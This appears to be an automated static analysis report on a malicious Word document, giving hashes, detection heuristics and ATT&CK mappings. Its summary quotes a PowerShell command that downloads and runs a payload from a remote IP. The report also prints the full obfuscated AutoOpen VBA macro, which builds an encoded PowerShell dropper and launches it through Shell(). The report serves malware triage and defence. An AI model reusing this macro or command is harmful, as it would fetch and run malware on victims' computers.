Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 32a99d4235434df0…

MALICIOUS

Office (OLE)

109.8 KB Created: 2018-06-20 07:01:00 Authoring application: Microsoft Office Word First seen: 2018-07-04
MD5: 36258cad6e05f4ae2e715b9ab56d953a SHA-1: 26702b3233f0fcaf952bc3b40b14d011ff3ec077 SHA-256: 32a99d4235434df0626e63f3ecefb15fb737e38a3ecde78c1f11acbe42bd3da8
212 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The critical heuristic 'OLE_VBA_SHELL' and the critical heuristic 'OLE_VBA_PCODE_AUTOEXEC_EXEC' indicate the presence of code execution. The VBA script explicitly constructs and executes a PowerShell command: 'powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://185.189.255.135/payload.exe')'. This command downloads and executes a second-stage payload from a remote URL, which is a common dropper behavior.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6585450-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6585450-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    GqAOI = CDate(ZwNicO + Sin(61855 + 49) * 13054 * CInt(31240))
qXMdjninSz = biDQhPMR + Shell(hwfMJszHMX + uPwVUDzSitr + lIFYZI, 83946 - 83946)
PYipT = 53986
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13385 bytes
SHA-256: 1672e9893d63c030fe4a880c3c0bbc52abcdc40dd75253d3308b17a5d311fc94
Detection
ClamAV: No threats found
Obfuscation or payload: likely
188 of 293 identifiers look randomly generated (e.g. 'jmpJVPTbDEXHPl'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "rAzWVtS"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "jmpJVPTbDEXHPl"
Function zkFkO()
On Error Resume Next
jpldp = whiKp
YBaiGQ = CDate(47954)
rIwttU = 86526
SmcvpR = 11523
TjjFc = CByte(zauYn)
INLIP = CDate(NTsbip + Sin(20388 + 24038) * 9741 * CInt(73544))
dzTVa = "OwerSHe" + "ll .( $pSHoME[" + "4]+$psHOMe[34]+" + "'x') ( -" + "jOIn" + " (( 28,1" + "07" + " ,107 ,82, 81,"
wtuwM = HOwwL
NbljX = CDate(71969)
bpiKf = 66209
EwnuIf = 85775
uzdMw = CByte(VZbnaT)
oBuVv = CDate(NhqHbz + Sin(14061 + 70301) * 7230 * CInt(68642))
jVbiaYcn = "91 ,2" + "4, 5 ,24" + ",86,93" + " ,79,21 ,87,90" + ", 82,93, 9" + "1,76, 24 , 7"
BIVOJ = fDsQB
mGzCC = CDate(65179)
HQzan = 67824
uXFzL = 45666
McLYJ = CByte(jkdrdb)
IoDwFL = CDate(thwTId + Sin(64297 + 92157) * 73713 * CInt(73650))
wNmzFM = "4 ,89" + " ,86 " + ",92 , 87" + " ," + "85 ,3 ,28, 8"
ZahIP = jjRtZ
ATCSPr = CDate(27081)
MTwLq = 6000
Rfvwpi = 52886
XUwSqU = CByte(iAZQu)
wCfVY = CDate(ZEDwi + Sin(21327 + 55884) * 60416 * CInt(22046))
RPlvV = "1 , 78,72,1" + "11,91 ,79, 24,5" + " , 24 ," + "86 , 93 , " + "79 ,21 , 8" + "7 ,90,82 ,93 ,"
ElUmFn = sCuTsn
zEfnf = CDate(75109)
SzSHl = 50965
GnYbF = 25010
cmjBUH = CByte(tpKFmZ)
BjWwD = CDate(mcHaWp + Sin(50020 + 6639) * 89941 * CInt(66436))
HnZQNp = "91,7" + "6,24 , 1" + "07 ," + "65 ," + "75" + " , " + "76, 93," + " 85 , 22,118,9" + "3,76 ,22 "
XzlMU = fNawPN
BzTjU = CDate(12188)
QNKQi = 69908
jOiSvz = 82648
zzTEVn = CByte(tSlwsm)
BBcoV = CDate(oYJVXD + Sin(265 + 90393) * 5961 * CInt(52090))
VZMcwG = ", 111 ,93 ,9" + "0, 123 ,84 ,81" + ",93 , 86 ," + " 76 ,3, 28 ,79 " + ",87,106,82, " + "82 , 92, 24 , 5"
zkFkO = dzTVa + jVbiaYcn + wNmzFM + RPlvV + HnZQNp + VZMcwG
End Function
Function YuprzN()
On Error Resume Next
nlQom = tIPNj
zbvsY = CDate(21525)
AwuUJ = 30915
oEGVJq = 51943
omLwY = CByte(MUVDh)
pJZhz = CDate(kzXBq + Sin(84038 + 21780) * 43387 * CInt(11976))
JQjfN = " , 24" + ",31,80 ,76, 76," + " 72, 2, 23 , 23" + " , 79,79 , "
sqCmz = NnJGAw
PQSlW = CDate(81560)
PFLto = 10173
aWwuWY = 17798
TiLVsr = CByte(HGIWj)
SuVhU = CDate(qJiZXz + Sin(63437 + 61094) * 51240 * CInt(58914))
jUksjYT = "79" + " , 22,85, 22,8" + "5 , 89, 9" + "5,86,93," + "76 , 85 , 89 ," + " 74,83," + "93,76 , " + "81 ,"
YjrKV = iBjpH
LpqLvz = CDate(920)
BwAsZh = 70979
jiikV = 24603
zoolO = CByte(fnYVuH)
mJBVZ = CDate(uCtXSc + Sin(31022 + 19853) * 34309 * CInt(21814))
wVZUIaXaAX = "86,95,84" + ",84 ,9" + "1,2" + "2, 91 , 87,85,2"
ihHPbi = WQwzBw
TqAms = CDate(25119)
nQpCll = 59684
RErnkD = 70044
bfiAXf = CByte(WTJqRJ)
ksuzmY = CDate(jdGZqC + Sin(5536 + 42817) * 8660 * CInt(79312))
ViHfBOdIo = "3 ,77 " + ", 118, " + "121 ,0,23" + ", 120,80 , 76, " + "76, 72 , 2 ,23,"
NpwfmS = WUBTw
QIzjb = CDate(13624)
CnpDR = 52237
DNvlC = 14342
UzlLB = CByte(flVQP)
YwLjUm = CDate(XfUZY + Sin(25610 + 38829) * 30638 * CInt(92573))
majLQXw = "23,79 ,79, 79" + " ,22,84,93 ," + "75,8" + "6,81 ,"
YuprzN = JQjfN + jUksjYT + wVZUIaXaAX + ViHfBOdIo + majLQXw
End Function
Function RHMjoHJ()
On Error Resume Next
TnDhb = kRbUCR
joMzkj = CDate(47453)
ORZBq = 199
VRYAjQ = 50999
vsChA = CByte(AVlKA)
QMcbRI = CDate(kwQvpm + Sin(1924 + 52171) * 58155 * CInt(35323))
JnpOJbsRmT = "91 ,80, 81 , 8" + "6 ,22, 74 , 77," + "23" + ",117,108 , 124," + " 1, 10," + "90, 11 ,23," + "120 ,80,7" + "6 , 7" + "6 , 72 ,2,23,"
sYPZV = 29024
UkWIf = SwZjQ
XNArO = CDate(CaOoIF + Sin(43778 + 48506) * 36020 * CInt(92053))
wfNih = CByte(NlXik)
qzhTii = CDate(52899)
Fhuup = 76819
QEWzqOj = "23,79 ," + " 7" + "9 ,79, 2" + "2, 12 ,22 , 86" + " ,81 ,83," + "81" + " , 76 ,89,0" + ",1"
fVTpPm = 44310
RjZsS = pYwXzc
HOLhl = CDate(QkAuHV + Sin(17022 + 33706) * 85176 * CInt(37480))
ZiTRhl = CByte(OuERr)
itoIl = CDate(30352)
hdWNcL = 37219
NOWbquFU = "4,22 ," + " 66, 0, 22, " + "74 ,77, 23" + " ,80 , 77 , 98,"
jzUcOz = 95236
wqbjw = wzdroA
wvojAT = CDate(kEQEzr + Sin(55876 + 25479) * 54789 * CInt(14147))
ivpaiq = CByte(qRoOW)
pKTIU = CDate(26197)
tmUwn = 12303
zczMXkY = "66, 23 , 120,80" + " ,76, 76," + "72 ,2, 2" + "3, 23 , 79 ," + "79,79,22," + " 92 ,"
ZPERl = 1713
HoMVP = ipFYX
KNXjZW = CDate(chmKvv + Sin(8422 + 63931) * 36843 * CInt(96890))
PifbhM = CByte(XWBSw)
kCpuv = CDate(7397)
KWhEZB = 12280
hwtPklJSXBk = "84, 76," + " 89 ,85 , 89" + " ," + " 72 , 22"
RHMjoHJ = JnpOJbsRmT + QEWzqOj + NOWbquFU + zczMXkY + hwtPklJSXBk
End Function
Function LbznABXhwNE()
On Error Resume Next
CLNiqk = 83335
njfiS = kDBwS
NrffMz = CDate(vahfi + Sin(52790 + 13059) * 74363 * CInt(18164))
CwDjq = CByte(oPjozE)
kQaEH = CDate(52665)
nZjJDJ = 21300
nTiLvDif = " , 9" + "1 ,87 , 85, " + "23 ,121" + " ,10" + "6 , 115, 92 , " + "74, 23, "
XWrRs = 77547
UoiIL = wOnWv
IvVXwb = CDate(zQrOpi + Sin(35132 + 51003) * 70235 * CInt(46035))
JTdvz = CByte(ERYvF)
XubLCu = CDate(952)
oWrBt = 27235
GJvCwC = "120 , 80" + ",76 ,76 " + ",72, 75 , 2 " + ",23 ,23 , 89 ," + "78 ,93 ,74, 81" + ",86, 22 , 7"
FwVOHB = 63109
CEYnwf = tdqfQi
rwcYM = CDate(SCwZbH + Sin(58362 + 62783) * 66165 * CInt(95582))
PRFUrn = CByte(ZMEzk)
ZinVB = CDate(9334)
FwipRo = 62749
VMkkWic = "2, 74,87,23 ,12" + "5," + "123 ,10 " + ", 109 ,1" + "15 , 74 ,23,3" + "1 ,22, 10" + "7 ,72 " + ",84 , 81 , 76 ,"
EVzbm = 56438
cZIPOv = HCZHiN
qQJCu = CDate(DnVtT + Sin(2520 + 45158) * 29130 * CInt(77359))
GarkFT = CByte(jPuSji)
wmlQjV = CDate(21139)
FIhGk = 51218
szHLWztqpsj = " 16 ,31 ," + "120 , 31, 17,3," + "28, 111 , " + "90,117" + ",98, 105 , 85,2" + "4 ,5,24 " + ",28 ,107,1" + "07, " + "82, 81, 91 ,22" + ",86 , 9"
LbznABXhwNE = nTiLvDif + GJvCwC + VMkkWic + szHLWztqpsj
End Function
Function kKnvNlwPCUN()
On Error Resume Next
DZwdcY = 48545
kHVzvm = oIYDE
LTRiNE = CDate(zMmmW + Sin(49866 + 89476) * 47967 * CInt(26794))
dLhwF = CByte(HMvlvR)
zVsUZ = CDate(22670)
ICMlB = 18349
uoMafLVkO = "3,64" + " , 76 ,16" + ", 9 ,20,24, 9" + " ,0 ,0,13, 12, "
CkAOHA = 18009
mYkWwm = zMjUsM
osPUX = CDate(GHpvcV + Sin(31351 + 33087) * 33576 * CInt(54525))
YrHaHS = CByte(RppPhw)
EjWvHd = CDate(69171)
jOODOL = 75180
CEMqLkab = "10, 17 , 3 , " + "28 ,111, 122" + ", 110 ,6" + "6, 79,8" + "2 ," + "24, " + "5 , 24 , " + "28 ,93 , 86 ," + "78" + " , 2,76,93,"
lKizTE = 52045
NXaPbL = YQjSZ
GBNCQJ = CDate(mZowSX + Sin(42265 + 74141) * 86032 * CInt(12227))
nOtwV = CByte(znrGn)
LTlPd = CDate(5877)
WQHUX = 49675
UrCEsYjw = " 8" + "5 ,72" + " , 24 ,19," + "24, 31," + "100 ,3" + "1, " + "24, 19,"
dodSZ = 97494
OKstC = kldzX
aBPBO = CDate(uVZtI + Sin(81142 + 54917) * 31678 * CInt(41186))
nPBYaf = CByte(PfVra)
tstJU = CDate(1166)
kuUwY = 56872
wBcRBjO = " 24,28 ,111,9" + "0 ,117,9" + "8," + "105, 85 , 24 ,1" + "9 ,24"
lzzKH = 71523
zmuAPV = RKAUW
kiZKRw = CDate(jIPAkI + Sin(13369 + 31688) * 98171 * CInt(47400))
qlNAwl = CByte(jfwbG)
UQdYR = CDate(90384)
sMJLLM = 6281
QLuKpdCacwJ = ", 3" + "1," + " 22," + " 93, 64," + " 93 , 31 ,3, 9" + "4, 87" + " ,74,93,89"
kKnvNlwPCUN = uoMafLVkO + CEMqLkab + UrCEsYjw + wBcRBjO + QLuKpdCacwJ
End Function
Function OsjdGcLiBoi()
On Error Resume Next
zpobPw = 83009
aDbbwH = kLuZo
vFmVsA = CDate(FZAWfT + Sin(98795 + 94008) * 6111 * CInt(32327))
LDRFwR = CByte(hjPEn)
nvOmoH = CDate(46955)
rSzPwi = 68879
tjqMzW = ",91 ,8" + "0,16, 28,122" + ", 80 , " + "75,92 , 113 , "
RLcKP = 64399
SRLwb = pAiucI
MUjwYj = CDate(JswQja + Sin(13875 + 8082) * 43262 * CInt(91676))
jowLV = CByte(jUYUJ)
FIpCfk = CDate(48318)
ZpCvME = 8
HuCvhWjwG = "77" + " ,24" + " ,81 , 86 ,2" + "4 ,28,79,87, 10" + "6, 82 ,8" + "2,92 , 1" + "7 ," + " 67,76 "
ohWcZE = 54369
BfGii = TQqPlB
qYLsRv = CDate(djoVBq + Sin(24828 + 91735) * 60544 * CInt(81383))
wESHR = CByte(HTOso)
YCjjj = CDate(3660)
tXMljn = 23454
iXdmOvvbh = ",74 ,65, 67" + " ,28,81 ,78,72" + ", 111 , 91, 79" + ", 22 "
LroYf = 85660
ULAcc = JnzGfz
dbPsiJ = CDate(oSJDpc + Sin(34551 + 88956) * 74372 * CInt(27923))
wwcXqW = CByte(WkIpdY)
ELriz = CDate(55097)
hPMUUM = 60055
PJqlmJbko = ",124,87,79 ," + " 86, 84, 87 , " + "89, " + "92 ,126 ,81 ,8" + "4,93 , 16,28 "
NqiSw = 74384
URDzi = VnwVD
zZZjz = CDate(URKdD + Sin(39903 + 82782) * 30910 * CInt(91611))
wjKYdY = CByte(QdAwZi)
JkIUUV = CDate(48323)
aziRP = 61495
aQwfIi = ",122, 80 ,75, 9" + "2 , 11" + "3," + " 77 ,22 , 10"
lztaWv = 22991
VKSYwc = pwIhNG
zmFLi = CDate(HarhD + Sin(43210 + 56622) * 1255 * CInt(35317))
VVOzto = CByte(ACRah)
DlmcDO = CDate(83919)
ThUcWi = 17065
dKMNalbi = "8,87 , 107 ,76 " + ",74 , 81,8" + "6, 95 , 16" + ",17, 20" + " ,24 " + ",28 ,111, " + "122,1" + "10 ,66"
PiuaKk = 44182
CrZlBL = vtbtBz
CAijZ = CDate(uniVSO + Sin(35661 + 74350) * 14625 * CInt(59176))
ACTEG = CByte(wTRWnP)
WcuTt = CDate(27017)
QWBJz = 47003
pYjXj = " , 7" + "9,82 , 17,3," + " 107,76,89,74," + " 76, 21, 10" + "4 ,74," + "87,91,93," + "75 ,"
iYwIov = 8573
fDwqP = RIJtww
sRdIG = CDate(XTbdM + Sin(30518 + 90800) * 45042 * CInt(92634))
zaOzA = CByte(BojAp)
njFBmi = CDate(28227)
zVJjD = 61046
ZCvfBQLzwPT = "75,24,28 " + ",11" + "1,122,110, 66 " + ",79 ,8" + "2, 3 ," + "90, 74 ,93 " + ", 89 " + ", 83 ," + " 3, " + "69 , 91 , 89"
wGrrsi = 25128
JfOPbm = IRVjbI
dHCjrr = CDate(EYMHz + Sin(62549 + 40686) * 21119 * CInt(37925))
oZjQk = CByte(WijYl)
zVwMN = CDate(48978)
dTijwm = 81980
GlwiYLYABME = " ,76, 9" + "1, 80, 67," + " 79,74,81,7" + "6, 93," + "21 , 80, 87,7" + "5 , 76" + " ,24,28" + " , 103 " + ", 22" + " ,"
OsjdGcLiBoi = tjqMzW + HuCvhWjwG + iXdmOvvbh + PJqlmJbko + aQwfIi + dKMNalbi + pYjXj + ZCvfBQLzwPT + GlwiYLYABME
End Function
Function XBkYwNX()
On Error Resume Next
YUzzWY = 50826
wIwjiN = RCkXh
lMhtSG = CDate(PdQFiM + Sin(62190 + 84462) * 50868 * CInt(89098))
poBNC = CByte(LkCUYa)
WjcQhd = CDate(58499)
vwHDcT = 39224
iKzPncTJz = " 125 , 64," + "91," + " 93,72, 7" + "6,81," + "87 ,86 ,22, 1" + "17,93 ,75,75,8" + "9,9" + "5 , 93 , "
aRVYET = 85431
LjNZI = uzqjWH
EdPGZr = CDate(rcHZu + Sin(45464 + 6778) * 24381 * CInt(85781))
prCWF = CByte(WzFiTd)
EJswb = CDate(19310)
ccJGJM = 54261
vZBWzZZ = "3, 6" + "9 " + ",69 )|fore" + "ACH-oBJe" + "Ct{ [c" + "HaR]( $_-bXoR " + Chr(34) + "0x38" + Chr(34) + ")}"
wNLfWz = 16052
pGrlNt = iGoNG
lRuzQZ = CDate(VCulA + Sin(72915 + 50237) * 71315 * CInt(74479))
FzrRW = CByte(rwMwiV)
jHzjz = CDate(60002)
vXSLo = 77861
jtKNZQFb = "))"
XBkYwNX = iKzPncTJz + vZBWzZZ + jtKNZQFb
End Function

Function rYJFTwEdDFZ()
On Error Resume Next
DMVtM = 10657
jSwEv = CDate(55925)
PIIJO = NAJwu
iizQQ = 43454
rMUGDS = CByte(uIvBli)
lcmiw = CDate(kEaUfN + Sin(24109 + 95413) * 93335 * CInt(1927))
TUzKS = 21909
ioBqt = CDate(45699)
oHuPXi = IiTIz
hbFVKq = 65367
VYVHnR = CByte(omUEXQ)
KTzsN = CDate(hKnzT + Sin(62941 + 73339) * 84822 * CInt(53295))
mXkiuO = 38323
urJtLj = CDate(87680)
pbvPGl = ChjKiF
VPawG = 58290
XkqijC = CByte(MiwIk)
dWWTj = CDate(SZjwJ + Sin(87540 + 68569) * 2994 * CInt(45355))
tMiml = 21237
zMoTAJ = CDate(73168)
bDiHQC = zYDStT
AfinB = 5725
qstTRE = CByte(odNrYU)
FHIYi = CDate(PhTjvD + Sin(82580 + 83542) * 32316 * CInt(19557))
IuZbbm = 2212
YGYwn = CDate(59)
PncoJ = wjsVTj
aHYvuH = 55676
vFwif = CByte(FDBoE)
BqIEfz = CDate(BvKLWv + Sin(26316 + 65598) * 56266 * CInt(94838))
End Function
Function VkCUUbvkXiC()
On Error Resume Next
ozLnq = 77035
GwGZiM = CDate(65202)
qICjhT = uJuSY
flWJt = 81599
JEqdb = CByte(YMFMj)
bVlGr = CDate(FkBFiQ + Sin(80751 + 61195) * 44403 * CInt(77363))
whjpz = CEXiU + Chr(sEhvDoBTj + 80 + kMaYZTN)
dhbWi = 3861
LhBmL = CDate(78577)
UrGSz = fUwlvX
jmfUn = 21188
iPmabS = CByte(rDfTuC)
jFCpj = CDate(vEdiw + Sin(43716 + 38148) * 62235 * CInt(60217))
bnbwB = 43804
ZiszaX = CDate(98941)
rvwmW = PPkAsv
jlswz = 75592
zWXiqj = CByte(jvFWT)
AVAkiV = CDate(jzKTJT + Sin(65189 + 94946) * 48425 * CInt(7267))
VkCUUbvkXiC = kPRDQ + whjpz + zkFkO + YuprzN + RHMjoHJ + LbznABXhwNE + kKnvNlwPCUN + OsjdGcLiBoi + XBkYwNX
jHqHLn = 51610
VOkmq = CDate(8944)
PZBBvj = iCVbz
MLWzvv = 5970
TrlTt = CByte(fECOz)
rWskvC = CDate(sfYzq + Sin(51748 + 93575) * 10704 * CInt(93011))
End Function
Function XqLVfwhRMB(uPwVUDzSitr)
On Error Resume Next
IhvpLY = 9049
Ctjiu = CDate(9304)
fjMpn = QBGEw
pRmcA = 60456
XYEPS = CByte(XRCmvm)
rzTkRV = CDate(aHOYvE + Sin(39799 + 19917) * 58463 * CInt(34247))
hiZTmh = 45536
wUQOh = CDate(57474)
HMhWp = ZMJMG
wwGzJ = 76827
zizsO = CByte(SPVdC)
GqAOI = CDate(ZwNicO + Sin(61855 + 49) * 13054 * CInt(31240))
qXMdjninSz = biDQhPMR + Shell(hwfMJszHMX + uPwVUDzSitr + lIFYZI, 83946 - 83946)
PYipT = 53986
BzZTAj = CDate(99458)
tjbDW = QzYSqj
UqGpPF = 65181
OWLrEw = CByte(VwBRY)
vtSjQ = CDate(RFrGkk + Sin(62442 + 95449) * 75948 * CInt(1169))
End Function
Sub AutoOpen()
On Error Resume Next
TPpiEU = 74459
krfaZ = CDate(42540)
fHRIb = puSqY
InzpPE = 90955
ouELZE = CByte(zYzYJ)
LBriLH = CDate(FjloR + Sin(79937 + 68221) * 20240 * CInt(58465))
Application.Run WLjvbsEZzi + "XqLVfwhRMB" + nfswCHur, Tnqab + VkCUUbvkXiC + roTZirYXpFB
RrwQM = 45763
BksRhJ = CDate(29593)
ziCTX = XkuBpH
ZARwA = 26443
LHTTZN = CByte(vSFhk)
wjkOX = CDate(oipSIN + Sin(44428 + 58030) * 75037 * CInt(98838))
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.